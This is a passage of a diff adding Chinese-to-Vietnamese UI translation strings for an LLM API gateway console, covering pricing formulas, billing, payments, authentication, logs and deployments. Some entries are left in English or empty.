+    "当前模型列表为该标签下所有渠道模型列表最长的一个，并非所有渠道的并集，请注意可能导致某些渠道模型丢失。": "Danh sách mô hình hiện tại là danh sách dài nhất trong số tất cả các danh sách mô hình kênh dưới thẻ này, không phải là hợp nhất của tất cả các kênh. Xin lưu ý rằng điều này có thể khiến một số mô hình kênh bị mất.",
+    "当前模型同时存在按次价格和倍率配置，保存时会按当前计费方式覆盖。": "Mô hình này hiện đồng thời có giá theo lượt gọi và cấu hình tỷ lệ. Khi lưu, dữ liệu sẽ bị ghi đè theo chế độ tính phí hiện tại.",
+    "当前模型存在未显式设置输入倍率的扩展倍率；填写输入价格后会自动换算为价格字段。": "Mô hình này có các tỷ lệ mở rộng mà chưa đặt rõ tỷ lệ đầu vào; sau khi điền giá đầu vào, chúng sẽ tự động được quy đổi thành trường giá.",
+    "当前没有未设置定价的模型": "Hiện không có mô hình nào chưa thiết lập giá",
+    "当前版本": "Phiên bản hiện tại",
+    "当前状态": "Current Status",
+    "当前缓存大小": "Kích thước bộ nhớ đệm hiện tại",
+    "当前编辑": "Đang chỉnh sửa",
+    "当前规则不支持写入到该位置": "Quy tắc hiện tại không hỗ trợ ghi vào vị trí này",
+    "当前规则未设置参数覆盖模板": "Quy tắc hiện tại chưa thiết lập mẫu ghi đè tham số",
+    "当前计费": "Thanh toán hiện tại",
+    "当前设备不支持 Passkey": "Passkey không được hỗ trợ trên thiết bị này",
+    "当前设置类型: ": "Loại cài đặt hiện tại: ",
+    "当前跟随系统": "Hiện đang theo hệ thống",
+    "当前配置无法连接到 io.net。": "Unable to connect to io.net with current configuration.",
+    "当前额度": "Hạn ngạch hiện tại",
+    "当某个分组的用户使用另一个分组的令牌时，可设置特殊倍率覆盖基础倍率。例如：vip 分组的用户使用 default 分组时倍率为 0.5": "When a user in one group uses a token from another group, a special ratio can override the base ratio. E.g., vip users using default group get ratio 0.5",
+    "当模型没有设置价格时仍接受调用，仅当您信任该网站时使用，可能会产生高额费用": "Chấp nhận cuộc gọi ngay cả khi mô hình không có cài đặt giá, chỉ sử dụng khi bạn tin tưởng trang web, điều này có thể phát sinh chi phí cao",
+    "当运行通道全部测试时，超过此时间将自动禁用通道": "Khi chạy tất cả các kiểm tra kênh, kênh sẽ tự động bị vô hiệu hóa khi vượt quá thời gian này",
+    "当钱包或订阅剩余额度低于此数值时，系统将通过选择的方式发送通知": "Khi hạn ngạch còn lại của ví hoặc gói thuê bao thấp hơn giá trị này, hệ thống sẽ gửi thông báo theo phương thức đã chọn",
+    "待使用收益": "Tiền thu được để sử dụng",
+    "待部署": "Pending Deployment",
+    "微信": "WeChat",
+    "微信公众号二维码图片链接": "Liên kết hình ảnh mã QR tài khoản công khai WeChat",
+    "微信扫码关注公众号，输入「验证码」获取验证码（三分钟内有效）": "Quét mã QR WeChat để theo dõi tài khoản chính thức, nhập \"mã xác minh\" để lấy mã (có hiệu lực trong 3 phút)",
+    "微信扫码登录": "WeChat quét mã để đăng nhập",
+    "微信账户绑定成功！": "Đã liên kết tài khoản WeChat thành công!",
+    "必填。对请求的 model 名称进行匹配，任意一条匹配即命中该规则。": "Bắt buộc. Khớp tên model được yêu cầu; bất kỳ kết quả khớp nào đều kích hoạt quy tắc này.",
+    "必须全部满足（AND）": "Phải đáp ứng tất cả (AND)",
+    "必须是有效的 JSON 字符串数组，例如：[\"g1\",\"g2\"]": "Phải là một mảng chuỗi JSON hợp lệ, ví dụ: [\"g1\",\"g2\"]",
+    "忘记密码？": "Quên mật khẩu?",
+    "快速开始": "Bắt đầu nhanh",
+    "快速选择": "Quick Select",
+    "忽略": "Bỏ qua",
+    "思考中...": "Đang suy nghĩ...",
+    "思考内容转换": "Chuyển đổi nội dung suy nghĩ",
+    "思考过程": "Quá trình suy nghĩ",
+    "思考适配 BudgetTokens 百分比": "Tỷ lệ phần trăm BudgetTokens thích ứng tư duy",
+    "思考预算占比": "Tỷ lệ ngân sách tư duy",
+    "性能指标": "Chỉ số hiệu suất",
+    "性能监控": "Giám sát hiệu suất",
+    "性能设置": "Hiệu suất",
+    "总 GPU 小时": "Total GPU Hours",
+    "总价：文字价格 {{textPrice}} + 音频价格 {{audioPrice}} = {{symbol}}{{total}}": "Tổng giá: giá văn bản {{textPrice}} + giá âm thanh {{audioPrice}} = {{symbol}}{{total}}",
+    "总分配内存": "Tổng bộ nhớ đã phân bổ",
+    "总密钥数": "Tổng số khóa",
+    "总收益": "tổng doanh thu",
+    "总计": "Tổng cộng",
+    "总额度": "Tổng hạn ngạch",
+    "您可以个性化设置侧边栏的要显示功能": "Bạn có thể tùy chỉnh các chức năng thanh bên để hiển thị",
+    "您可以在上方拉取需要的模型": "You can pull the required models above",
+    "您无权访问此页面，请联系管理员": "Bạn không có quyền truy cập trang này. Vui lòng liên hệ với quản trị viên.",
+    "您正在使用 MySQL 数据库。MySQL 是一个可靠的关系型数据库管理系统，适合生产环境使用。": "Bạn đang sử dụng cơ sở dữ liệu MySQL. MySQL là một hệ thống quản lý cơ sở dữ liệu quan hệ đáng tin cậy, phù hợp cho môi trường sản xuất.",
+    "您正在使用 PostgreSQL 数据库。PostgreSQL 是一个功能强大的开源关系型数据库系统，提供了出色的可靠性和数据完整性，适合生产环境使用。": "Bạn đang sử dụng cơ sở dữ liệu PostgreSQL. PostgreSQL là một hệ thống cơ sở dữ liệu quan hệ mã nguồn mở mạnh mẽ cung cấp độ tin cậy và tính toàn vẹn dữ liệu tuyệt vời, phù hợp cho môi trường sản xuất.",
+    "您正在使用 SQLite 数据库。如果您在容器环境中运行，请确保已正确设置数据库文件的持久化映射，否则容器重启后所有数据将丢失！": "Bạn đang sử dụng cơ sở dữ liệu SQLite. Nếu bạn đang chạy trong môi trường container, vui lòng đảm bảo rằng ánh xạ bền vững tệp cơ sở dữ liệu được đặt chính xác, nếu không tất cả dữ liệu sẽ bị mất sau khi khởi động lại container!",
+    "您正在删除自己的帐户，将清空所有数据且不可恢复": "Bạn đang xóa tài khoản của mình. Tất cả dữ liệu sẽ bị xóa và không thể khôi phục.",
+    "您的数据将安全地存储在本地计算机上。所有配置、用户信息和使用记录都会自动保存，关闭应用后不会丢失。": "Dữ liệu của bạn sẽ được lưu trữ an toàn trên máy tính cục bộ. Tất cả cấu hình, thông tin người dùng và hồ sơ sử dụng sẽ được lưu tự động và sẽ không bị mất khi đóng ứng dụng.",
+    "您确定要取消密码登录功能吗？这可能会影响用户的登录方式。": "Bạn có chắc chắn muốn tắt tính năng đăng nhập bằng mật khẩu không? Điều này có thể ảnh hưởng đến phương thức đăng nhập của người dùng.",
+    "您需要先启用两步验证或 Passkey 才能执行此操作": "Bạn cần bật xác thực hai yếu tố hoặc Passkey trước khi có thể thực hiện thao tác này",
+    "您需要先启用两步验证或 Passkey 才能查看敏感信息。": "Bạn cần bật xác thực hai yếu tố hoặc Passkey trước khi có thể xem thông tin nhạy cảm.",
+    "想起来了？": "Nhớ ra chưa?",
+    "成功": "Thành công",
+    "成功兑换额度：": "Số tiền đổi thành công:",
+    "成功后切换亲和": "Chuyển ưu ái khi thành công",
+    "成功时自动启用通道": "Bật kênh khi thành công",
+    "我已了解禁用两步验证将永久删除所有相关设置和备用码，此操作不可撤销": "Tôi đã hiểu rằng việc vô hiệu hóa xác thực hai yếu tố sẽ xóa vĩnh viễn tất cả các cài đặt liên quan và mã dự phòng, thao tác này không thể hoàn tác",
+    "我已阅读并同意": "Tôi đã đọc và đồng ý với",
+    "我的订阅": "Đăng ký của tôi",
+    "或": "hoặc",
+    "或其兼容new-api-worker格式的其他版本": "hoặc các phiên bản khác tương thích với định dạng new-api-worker",
+    "或手动输入密钥：": "Hoặc nhập khóa thủ công:",
+    "所有上游数据均可信": "Tất cả dữ liệu thượng nguồn đều đáng tin cậy",
+    "所有密钥已复制到剪贴板": "Tất cả các khóa đã được sao chép vào khay nhớ tạm",
+    "所有用户": "All users",
+    "所有编辑均为覆盖操作，留空则不更改": "Tất cả các chỉnh sửa là thao tác ghi đè, để trống sẽ không thay đổi",
+    "所选模板已存在": "Mẫu đã chọn đã tồn tại",
+    "手动禁用": "Vô hiệu hóa thủ công",
+    "手动编辑": "Chỉnh sửa thủ công",
+    "手动输入": "Nhập thủ công",
+    "打开 CC Switch": "Mở CC Switch",
+    "打开侧边栏": "Mở thanh bên",
+    "打开授权页面": "Mở trang xác thực",
+    "扣费": "Khấu phí",
+    "执行 GC": "Thực thi GC",
+    "执行中": "đang xử lý",
+    "扩展价格": "Giá mở rộng",
+    "扫描二维码": "Quét mã QR",
+    "批量创建": "Tạo hàng loạt",
+    "批量创建时会在名称后自动添加随机后缀": "Khi tạo hàng loạt, hậu tố ngẫu nhiên sẽ được tự động thêm vào tên",
+    "批量创建模式下仅支持文件上传，不支持手动输入": "Chế độ tạo hàng loạt chỉ hỗ trợ tải lên tệp, không hỗ trợ nhập thủ công",
+    "批量删除": "Xóa hàng loạt",
+    "批量删除令牌": "Xóa mã thông báo hàng loạt",
+    "批量删除失败": "Xóa hàng loạt thất bại",
+    "批量删除成功": "Batch deletion successful",
+    "批量删除模型": "Xóa mô hình hàng loạt",
+    "批量处理失败": "",
+    "批量应用当前模型价格": "Áp dụng hàng loạt giá của mô hình hiện tại",
+    "批量操作": "Thao tác hàng loạt",
+    "批量操作失败": "Batch operation failed",
+    "批量操作完成: {{success}}个成功, {{failed}}个失败": "Batch operation completed: {{success}} succeeded, {{failed}} failed",
+    "批量检测失败": "",
+    "批量检测完成：渠道 {{channels}} 个，新增 {{add}} 个，删除 {{remove}} 个，失败 {{fails}} 个": "",
+    "批量测试${count}个模型": "Kiểm tra hàng loạt ${count} mô hình",
+    "批量测试完成！成功: ${success}, 失败: ${fail}, 总计: ${total}": "Kiểm tra hàng loạt hoàn tất! Thành công: ${success}, Thất bại: ${fail}, Tổng cộng: ${total}",
+    "批量测试已停止": "Đã dừng kiểm tra hàng loạt",
+    "批量测试过程中发生错误: ": "Đã xảy ra lỗi trong quá trình kiểm tra hàng loạt: ",
+    "批量设置": "Cài đặt hàng loạt",
+    "批量设置成功": "Cài đặt hàng loạt thành công",
+    "批量设置标签": "Đặt thẻ hàng loạt",
+    "批量设置模型参数": "Đặt tham số mô hình hàng loạt",
+    "折": "% giảm",
+    "拉取中...": "Pulling...",
+    "拉取新模型": "Pull New Model",
+    "拉取模型": "Pull Model",
+    "拉取进度": "Pull Progress",
+    "拒绝提示模板（可选）": "Mẫu prompt từ chối (tùy chọn)",
+    "拦截原因": "Lý do chặn",
+    "按K显示单位": "Hiển thị theo K",
+    "按价格设置": "Đặt theo giá",
+    "按倍率类型筛选": "Lọc theo loại tỷ lệ",
+    "按倍率设置": "Đặt theo tỷ lệ",
+    "按次": "Theo lượt gọi",
+    "按次 {{symbol}}{{price}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Theo lượt gọi {{symbol}}{{price}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "按次：{{symbol}}{{price}}": "Theo lượt gọi: {{symbol}}{{price}}",
+    "按次：{{symbol}}{{price}} * {{ratioType}}：{{ratio}} = {{symbol}}{{total}}": "Theo lượt gọi: {{symbol}}{{price}} * {{ratioType}}: {{ratio}} = {{symbol}}{{total}}",
+    "按次计费": "Tính phí theo lượt gọi",
+    "按照如下格式输入：AccessKey|SecretAccessKey|Region": "Enter in the format: AccessKey|SecretAccessKey|Region",
+    "按量计费": "Trả tiền theo mức sử dụng",
+    "按量计费下需要先填写输入价格，才能保存其它价格项。": "Ở chế độ tính phí theo lượng, cần điền giá đầu vào trước thì mới lưu được các mục giá khác.",
+    "按顺序替换content中的变量占位符": "Thay thế các trình giữ chỗ biến trong nội dung theo thứ tự",
+    "换脸": "Hoán đổi khuôn mặt",
+    "授权，需在遵守": " và phải được sử dụng tuân thủ ",
+    "授权失败": "Ủy quyền thất bại",
+    "排序": "Thứ tự",
+    "排队中": "Đang xếp hàng",
+    "接受未设置价格模型": "Chấp nhận các mô hình không có cài đặt giá",
+    "接口凭证": "Thông tin xác thực giao diện",
+    "接口密钥已过期": "API key has expired",
+    "接收上游模型更新通知": "",
+    "控制台": "Bảng điều khiển",
+    "控制台区域": "Khu vực bảng điều khiển",
+    "控制输出的随机性和创造性": "Kiểm soát tính ngẫu nhiên và sáng tạo của đầu ra",
+    "控制顶栏模块显示状态，全局生效": "Kiểm soát trạng thái hiển thị mô-đun tiêu đề, hiệu ứng toàn cầu",
+    "推荐": "Đề xuất",
+    "推荐：用户可以选择是否使用指纹等验证": "Khuyên dùng: Người dùng có thể chọn sử dụng xác minh vân tay hay không",
+    "推荐使用（用户可选）": "Khuyên dùng (người dùng tùy chọn)",
+    "描述": "Mô tả",
+    "提交": "Gửi",
+    "提交时间": "Thời gian gửi",
+    "提交结果": "Kết quả",
+    "提升": "Thăng cấp",
+    "提示": "Gợi ý",
+    "提示 {{input}} tokens / 1M tokens * {{symbol}}{{price}}": "Prompt {{input}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "提示 {{input}} tokens / 1M tokens * {{symbol}}{{price}} + 补全 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Gợi ý {{input}} tokens / 1M tokens * {{symbol}}{{price}} + Hoàn thành {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "提示 {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + 缓存 {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}} + 缓存创建 {{cacheCreationInput}} tokens / 1M tokens * {{symbol}}{{cacheCreationPrice}} + 补全 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Gợi ý {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + Bộ nhớ đệm {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}} + Tạo bộ nhớ đệm {{cacheCreationInput}} tokens / 1M tokens * {{symbol}}{{cacheCreationPrice}} + Hoàn thành {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "提示：如需备份数据，只需复制上述目录即可": "Mẹo: Để sao lưu dữ liệu, chỉ cần sao chép thư mục trên",
+    "提示：此处配置仅用于控制「模型广场」对用户的展示效果，不会影响模型的实际调用与路由。若需配置真实调用行为，请前往「渠道管理」进行设置。": "Lưu ý: Cấu hình tại đây chỉ ảnh hưởng đến cách hiển thị trong \"Chợ mô hình\" và không ảnh hưởng đến việc gọi hoặc định tuyến thực tế. Nếu cần cấu hình hành vi gọi thực tế, vui lòng thiết lập trong \"Quản lý kênh\".",
+    "提示：端点映射仅用于模型广场展示，不会影响模型真实调用。如需配置真实调用，请前往「渠道管理」。": "Lưu ý: Ánh xạ endpoint chỉ dùng để hiển thị trong \"Chợ mô hình\" và không ảnh hưởng đến việc gọi thực tế. Để cấu hình gọi thực tế, vui lòng vào \"Quản lý kênh\".",
+    "提示：该功能为测试版，未来配置结构与功能行为可能发生变更，请勿在生产环境使用。": "Lưu ý: Đây là tính năng beta. Cấu trúc cấu hình và hành vi có thể thay đổi trong tương lai. Không dùng trong môi trường production.",
+    "提示：语言偏好会同步到您登录的所有设备，并影响API返回的错误消息语言。": "Gợi ý: Tùy chọn ngôn ngữ sẽ được đồng bộ trên tất cả thiết bị đã đăng nhập và ảnh hưởng đến ngôn ngữ thông báo lỗi API trả về.",
+    "提示：链接中的{key}将被替换为API密钥，{address}将被替换为服务器地址": "Mẹo: {key} trong liên kết sẽ được thay thế bằng khóa API, {address} sẽ được thay thế bằng địa chỉ máy chủ",
+    "提示价格：{{symbol}}{{price}} / 1M tokens": "Giá gợi ý: {{symbol}}{{price}} / 1M tokens",
+    "提示缓存倍率": "Tỷ lệ bộ nhớ đệm gợi ý",
+    "搜索供应商": "Tìm kiếm nhà cung cấp",
+    "搜索关键字": "Từ khóa tìm kiếm",
+    "搜索失败": "Search failed",
+    "搜索字段名 / 中文说明": "Tìm kiếm tên trường / mô tả",
+    "搜索无结果": "Không tìm thấy kết quả",
+    "搜索日志内容": "Search log content",
+    "搜索条件": "Điều kiện tìm kiếm",
+    "搜索模型": "Tìm kiếm mô hình",
+    "搜索模型...": "Tìm kiếm mô hình...",
+    "搜索模型名称": "Tìm kiếm tên mô hình",
+    "搜索模型失败": "Tìm kiếm mô hình thất bại",
+    "搜索渠道名称或地址": "Tìm kiếm tên hoặc địa chỉ kênh",
+    "搜索聊天应用名称": "Tìm kiếm tên ứng dụng trò chuyện",
+    "搜索规则（描述 / 类型 / 路径 / 来源 / 目标）": "",
+    "搜索规则（类型 / 路径 / 来源 / 目标）": "Tìm kiếm quy tắc (loại / đường dẫn / nguồn / đích)",
+    "搜索部署名称": "Search deployment name",
+    "操作": "Hành động",
+    "操作失败": "Thao tác thất bại",
+    "操作失败，请重试": "Thao tác thất bại, vui lòng thử lại",
+    "操作成功完成！": "Thao tác hoàn tất thành công!",
+    "操作暂时被禁用": "Thao tác tạm thời bị vô hiệu hóa",
+    "操作管理员": "Quản trị viên thao tác",
+    "操作类型": "Loại thao tác",
+    "操练场": "Sân chơi",
+    "操练场和聊天功能": "Chức năng sân chơi và trò chuyện",
+    "支付": "Thanh toán",
+    "支付地址": "Địa chỉ thanh toán",
+    "支付失败": "Thanh toán thất bại",
+    "支付完成后用户跳转的页面，留空则自动使用 服务器地址 + /console/topup": "",
+    "支付宝": "Alipay",
+    "支付方式": "Phương thức thanh toán",
+    "支付方式名称": "Tên phương thức thanh toán",
+    "支付方式名称不能为空": "",
+    "支付方式类型": "Loại phương thức thanh toán",
+    "支付渠道": "Kênh thanh toán",
+    "支付设置": "Thanh toán",
+    "支付请求失败": "Yêu cầu thanh toán thất bại",
+    "支付返回地址": "URL trả về",
+    "支付金额": "Số tiền thanh toán",
+    "支持 Ctrl+V 粘贴图片": "Hỗ trợ Ctrl+V để dán hình ảnh",
+    "支持6位TOTP验证码或8位备用码，可到`个人设置-安全设置-两步验证设置`配置或查看。": "Hỗ trợ mã xác minh TOTP 6 chữ số hoặc mã dự phòng 8 chữ số, có thể được cấu hình hoặc xem trong `Cài đặt cá nhân - Cài đặt bảo mật - Cài đặt xác thực hai yếu tố`.",
+    "支持CIDR格式，如：8.8.8.8, 192.168.1.0/24": "Hỗ trợ định dạng CIDR, ví dụ: 8.8.8.8, 192.168.1.0/24",
+    "支持HTTP和HTTPS，填写Gotify服务器的完整URL地址": "Hỗ trợ HTTP và HTTPS, nhập URL đầy đủ của máy chủ Gotify",
+    "支持HTTP和HTTPS，模板变量: {{title}} (通知标题), {{content}} (通知内容)": "Hỗ trợ HTTP và HTTPS, biến mẫu: {{title}} (tiêu đề thông báo), {{content}} (nội dung thông báo)",
+    "支持众多的大模型供应商": "Hỗ trợ nhiều nhà cung cấp LLM khác nhau",
+    "支持单个端口和端口范围，如：80, 443, 8000-8999": "Hỗ trợ cổng đơn và phạm vi cổng, ví dụ: 80, 443, 8000-8999",
+    "支持变量：": "Các biến được hỗ trợ:",
+    "支持周期性重置套餐权益额度": "Hỗ trợ đặt lại định kỳ hạn mức quyền lợi của gói",
+    "支持填写单个状态码或范围（含首尾），使用逗号分隔": "Hỗ trợ mã trạng thái đơn hoặc phạm vi (bao gồm đầu cuối), phân cách bằng dấu phẩy",
+    "支持填写单个状态码或范围（含首尾），使用逗号分隔；504 和 524 始终不重试，不受此处配置影响": "Hỗ trợ mã trạng thái đơn hoặc phạm vi (bao gồm đầu cuối), phân cách bằng dấu phẩy; 504 và 524 không bao giờ thử lại, không bị ảnh hưởng bởi cấu hình này",
+    "支持备份": "Được hỗ trợ",
+    "支持拉取 Ollama 官方模型库中的所有模型，拉取过程可能需要几分钟时间": "Supports pulling all models from the Ollama official model library, the pulling process may take a few minutes",
+    "支持搜索用户的 ID、用户名、显示名称和邮箱地址": "Hỗ trợ tìm kiếm ID người dùng, tên người dùng, tên hiển thị và địa chỉ email",
+    "支持的图像模型": "Mô hình hình ảnh được hỗ trợ",
+    "支持精确匹配；使用 regex: 开头可按正则匹配。": "",
+    "支持通配符格式，如：example.com, *.api.example.com": "Hỗ trợ định dạng ký tự đại diện, ví dụ: example.com, *.api.example.com",
+    "支持逻辑 and/or 与嵌套 groups；操作符支持 eq/ne/gt/gte/lt/lte/in/not_in/contains/exists": "Hỗ trợ logic and/or với groups lồng nhau; toán tử: eq/ne/gt/gte/lt/lte/in/not_in/contains/exists",
+    "收益": "Thu nhập",
+    "收益统计": "Thống kê thu nhập",
+    "收起": "Thu gọn",
+    "收起侧边栏": "Thu gọn thanh bên",
+    "收起内容": "Thu gọn nội dung",
+    "收起原生额度输入": "Ẩn nhập hạn mức gốc",
+    "放大": "Upscalers",
+    "放大编辑": "Mở rộng trình chỉnh sửa",
+    "敏感信息不会发送到前端显示": "Thông tin nhạy cảm sẽ không được hiển thị ở giao diện người dùng",
+    "数据传输中断": "Data transfer interrupted",
+    "数据存储位置：": "Vị trí lưu trữ dữ liệu:",
+    "数据库信息": "Thông tin cơ sở dữ liệu",
+    "数据库检查": "Kiểm tra cơ sở dữ liệu",
+    "数据库类型": "Loại cơ sở dữ liệu",
+    "数据库警告": "Cảnh báo cơ sở dữ liệu",
+    "数据格式错误": "Lỗi định dạng dữ liệu",
+    "数据看板": "Bảng dữ liệu",
+    "数据看板更新间隔": "Khoảng thời gian cập nhật bảng dữ liệu",
+    "数据看板设置": "Cài đặt bảng dữ liệu",
+    "数据看板默认时间粒度": "Độ chi tiết thời gian mặc định của bảng dữ liệu",
+    "数据管理和日志查看": "Quản lý dữ liệu và xem nhật ký",
+    "文件上传": "Tải lên tệp",
+    "文件搜索：{{count}} / 1K * 单价 {{price}} * {{ratioType}} {{ratio}} = {{amount}}": "Tìm kiếm tệp: {{count}} / 1K * đơn giá {{price}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "文件搜索价格：{{symbol}}{{price}} / 1K 次": "Giá tìm kiếm tệp: {{symbol}}{{price}} / 1K lần",
+    "文件搜索调用 {{fileSearchCallCount}} 次": "Đã gọi tìm kiếm tệp {{fileSearchCallCount}} lần",
+    "文字提示 {{input}} tokens / 1M tokens * {{symbol}}{{price}} + 文字补全 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} = {{symbol}}{{total}}": "Gợi ý văn bản {{input}} tokens / 1M tokens * {{symbol}}{{price}} + Hoàn thành văn bản {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} = {{symbol}}{{total}}",
+    "文字提示 {{input}} tokens / 1M tokens * {{symbol}}{{textInputPrice}} + 文字补全 {{completion}} tokens / 1M tokens * {{symbol}}{{textCompPrice}} + 音频提示 {{audioInput}} tokens / 1M tokens * {{symbol}}{{audioInputPrice}} + 音频补全 {{audioCompletion}} tokens / 1M tokens * {{symbol}}{{audioCompPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Prompt văn bản {{input}} tokens / 1M tokens * {{symbol}}{{textInputPrice}} + Hoàn thành văn bản {{completion}} tokens / 1M tokens * {{symbol}}{{textCompPrice}} + Prompt âm thanh {{audioInput}} tokens / 1M tokens * {{symbol}}{{audioInputPrice}} + Hoàn thành âm thanh {{audioCompletion}} tokens / 1M tokens * {{symbol}}{{audioCompPrice}} * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "文字提示 {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + 缓存 {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}} + 文字补全 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} = {{symbol}}{{total}}": "Gợi ý văn bản {{nonCacheInput}} tokens / 1M tokens * {{symbol}}{{price}} + Bộ nhớ đệm {{cacheInput}} tokens / 1M tokens * {{symbol}}{{cachePrice}} + Hoàn thành văn bản {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}} = {{symbol}}{{total}}",
+    "文字输入": "Đầu vào văn bản",
+    "文字输出": "đầu ra văn bản",
+    "文字输出：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 补全倍率 {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đầu ra văn bản: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số hoàn thành {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "文心一言": "ERNIE Bot",
+    "文档": "Tài liệu",
+    "文档地址": "Liên kết tài liệu",
+    "文生视频": "Văn bản sang video",
+    "新增": "added",
+    "新增 Key 来源": "Thêm nguồn Key",
+    "新增供应商": "Thêm nhà cung cấp",
+    "新增失败": "Thêm thất bại",
+    "新增已选 {{selected}} / {{total}}": "",
+    "新增成功": "Thêm thành công",
+    "新增支付方式": "",
+    "新增条件": "Thêm điều kiện",
+    "新增模型": "",
+    "新增规则": "Thêm quy tắc",
+    "新增订阅": "Thêm đăng ký",
+    "新密码": "Mật khẩu mới",
+    "新密码需要和原密码不一致！": "Mật khẩu mới phải khác với mật khẩu cũ!",
+    "新建": "Tạo",
+    "新建套餐": "Tạo gói",
+    "新建容器": "Create Container",
+    "新建容器部署": "Create Container Deployment",
+    "新建数量": "Số lượng mới",
+    "新建组": "Nhóm mới",
+    "新格式（支持条件判断与json自定义）：": "Định dạng mới (hỗ trợ phán đoán điều kiện và tùy chỉnh JSON):",
+    "新格式（规则 + 条件）": "Định dạng mới (Quy tắc + Điều kiện)",
+    "新格式模板": "Mẫu định dạng mới",
+    "新版本": "Phiên bản mới",
+    "新用户使用邀请码奖励额度": "Hạn ngạch thưởng mã mời người dùng mới",
+    "新用户初始额度": "Hạn ngạch ban đầu cho người dùng mới",
+    "新的备用恢复代码": "Mã khôi phục dự phòng mới",
+    "新的备用码已生成": "Mã dự phòng mới đã được tạo",
+    "新获取的模型": "Mô hình mới",
+    "新额度：": "Hạn ngạch mới: ",
+    "无": "Không",
+    "无GPU": "No GPU",
+    "无冲突项": "Không có mục xung đột",
+    "无效的部署信息": "Invalid deployment information",
+    "无效的重置链接，请重新发起密码重置请求": "Liên kết đặt lại không hợp lệ, vui lòng bắt đầu yêu cầu đặt lại mật khẩu mới",
+    "无法发起 Passkey 注册": "Không thể bắt đầu đăng ký Passkey",
+    "无法复制到剪贴板，请手动复制": "Không thể sao chép vào khay nhớ tạm, vui lòng sao chép thủ công",
+    "无法添加图片": "Không thể thêm hình ảnh",
+    "无法获取容器详情": "Unable to get container details",
+    "无法读取剪贴板": "Không thể đọc bộ nhớ tạm",
+    "无法连接 io.net": "Unable to connect to io.net",
+    "无生效": "Không có gói đăng ký hiệu lực",
+    "无邀请人": "Không có người mời",
+    "无限制": "Không giới hạn",
+    "无限额度": "Hạn ngạch không giới hạn",
+    "日": "ngày",
+    "日志导出成功": "Logs exported successfully",
+    "日志已下载": "Logs downloaded",
+    "日志已加载": "Logs loaded",
+    "日志已复制到剪贴板": "Logs copied to clipboard",
+    "日志总大小": "Tổng kích thước nhật ký",
+    "日志文件数": "Số lượng tệp nhật ký",
+    "日志时间范围": "Phạm vi thời gian nhật ký",
+    "日志流": "Log Stream",
+    "日志清理失败：": "Dọn dẹp nhật ký thất bại:",
+    "日志目录": "Thư mục nhật ký",
+    "日志类型": "Loại nhật ký",
+    "日志设置": "Cài đặt nhật ký",
+    "日志详情": "Chi tiết nhật ký",
+    "旧格式（JSON 对象）": "Định dạng cũ (Đối tượng JSON)",
+    "旧格式（直接覆盖）：": "Định dạng cũ (ghi đè trực tiếp):",
+    "旧格式必须是 JSON 对象": "Định dạng cũ phải là đối tượng JSON",
+    "旧格式模板": "Mẫu định dạng cũ",
+    "旧的备用码已失效，请保存新的备用码": "Mã dự phòng cũ đã bị vô hiệu hóa, vui lòng lưu mã dự phòng mới",
+    "早上好": "Chào buổi sáng",
+    "时间": "Thời gian",
+    "时间信息": "Time Information",
+    "时间粒度": "Độ chi tiết thời gian",
+    "易支付": "Epay",
+    "易支付商户ID": "ID người bán Epay",
+    "易支付商户密钥": "Khóa người bán Epay",
+    "是": "Có",
+    "是否为企业账户": "Đây có phải là tài khoản doanh nghiệp không?",
+    "是否同时重置对话消息？选择\"是\"将清空所有对话记录并恢复默认示例；选择\"否\"将保留当前对话记录。": "Đặt lại tin nhắn trò chuyện cùng lúc? Chọn \"Có\" sẽ xóa tất cả hồ sơ trò chuyện và khôi phục các ví dụ mặc định; chọn \"Không\" sẽ giữ lại hồ sơ trò chuyện hiện tại.",
+    "是否将该订单标记为成功并为用户入账？": "Đánh dấu đơn hàng này là thành công và ghi có cho người dùng?",
+    "是否检测上游模型更新": "",
+    "是否确认充值？": "Confirm the recharge?",
+    "是否自动同步上游模型更新": "",
+    "是否自动禁用": "Có tự động vô hiệu hóa không",
+    "是否要求指纹/面容等生物识别": "Có yêu cầu nhận dạng vân tay/khuôn mặt không",
+    "显示倍率": "Hiển thị tỷ lệ",
+    "显示最新20条": "Hiển thị 20 mới nhất",
+    "显示名称": "Tên hiển thị",
+    "显示名称字段（可选）": "Trường tên hiển thị (tùy chọn)",
+    "显示完整内容": "Hiển thị nội dung đầy đủ",
+    "显示操作项": "Hiển thị hành động",
+    "显示更多": "Hiển thị thêm",
+    "显示第": "Đang hiển thị",
+    "显示设置": "Cài đặt hiển thị",
+    "显示调试": "Hiển thị gỡ lỗi",
+    "晚上好": "Chào buổi tối",
+    "普通环境变量": "Regular Environment Variables",
+    "普通用户": "Người dùng thường",
+    "普通输入：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đầu vào thường: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "智能体ID": "ID tác nhân",
